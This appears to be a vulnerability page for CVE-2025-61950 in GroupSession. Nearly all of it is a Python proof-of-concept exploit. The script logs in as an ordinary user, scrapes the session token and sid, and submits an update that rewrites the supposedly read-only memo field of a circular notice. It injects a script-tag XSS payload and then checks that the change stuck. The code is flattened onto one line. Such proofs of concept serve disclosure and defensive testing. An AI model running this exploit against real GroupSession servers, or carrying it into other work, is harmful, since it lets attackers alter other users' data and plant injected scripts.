CVE-2025-61950 GroupSession循环通知备忘录字段权限绕过漏洞

import requests import re # CVE-2025-61950 PoC - GroupSession Authorization Bypass # Target: GroupSession Circular Notice memo field modification TARGET_URL = "http://target-groupsession.com/" LOGIN_URL = TARGET_URL + "gsession/common/cmn001.do" NOTICE_URL = TARGET_URL + "gsession/circular/" session = requests.Session() def login(username, password): """Authenticate to GroupSession""" login_data = { "usrUid": username, "usrPsw": password } response = session.post(LOGIN_URL, data=login_data) return "login" not in response.url.lower() def exploit_memo_field_bypass(notice_id, malicious_memo): """ Exploit the authorization bypass in circular notice memo field Args: notice_id: ID of the circular notice to modify malicious_memo: Malicious content to inject into memo field Returns: bool: True if exploitation appears successful """ # Step 1: Retrieve the original notice (memo field appears readonly) get_url = NOTICE_URL + "circular.do?cmd=viewDetail&cngSid=" + notice_id response = session.get(get_url) # Step 2: Extract necessary session tokens and parameters token_match = re.search(r'name="[\w]+token[\w]*"\s+value="([^"]+)"', response.text) sid_match = re.search(r'name="sid"\s+value="([^"]+)"', response.text) if not token_match or not sid_match: print("[-] Failed to extract required parameters") return False token = token_match.group(1) sid = sid_match.group(1) # Step 3: Craft malicious request to modify memo field # The memo field should be protected but authorization check is improper update_data = { "cmd": "update", "sid": sid, "cngSid": notice_id, "memo": malicious_memo, # Bypassing readonly protection "token": token } # Step 4: Send the crafted request update_url = NOTICE_URL + "circular.do" response = session.post(update_url, data=update_data) # Step 5: Verify if memo was modified verify_response = session.get(get_url) if malicious_memo in verify_response.text: print("[+] Successfully modified memo field!") return True else: print("[-] Exploitation failed or memo not modified") return False if __name__ == "__main__": # Configuration USERNAME = "regular_user" PASSWORD = "user_password" NOTICE_ID = "12345" # Target notice ID MALICIOUS_MEMO = "<script>alert('XSS')</script>" # Injected content # Execute exploitation if login(USERNAME, PASSWORD): print("[*] Login successful") exploit_memo_field_bypass(NOTICE_ID, MALICIOUS_MEMO) else: print("[-] Login failed")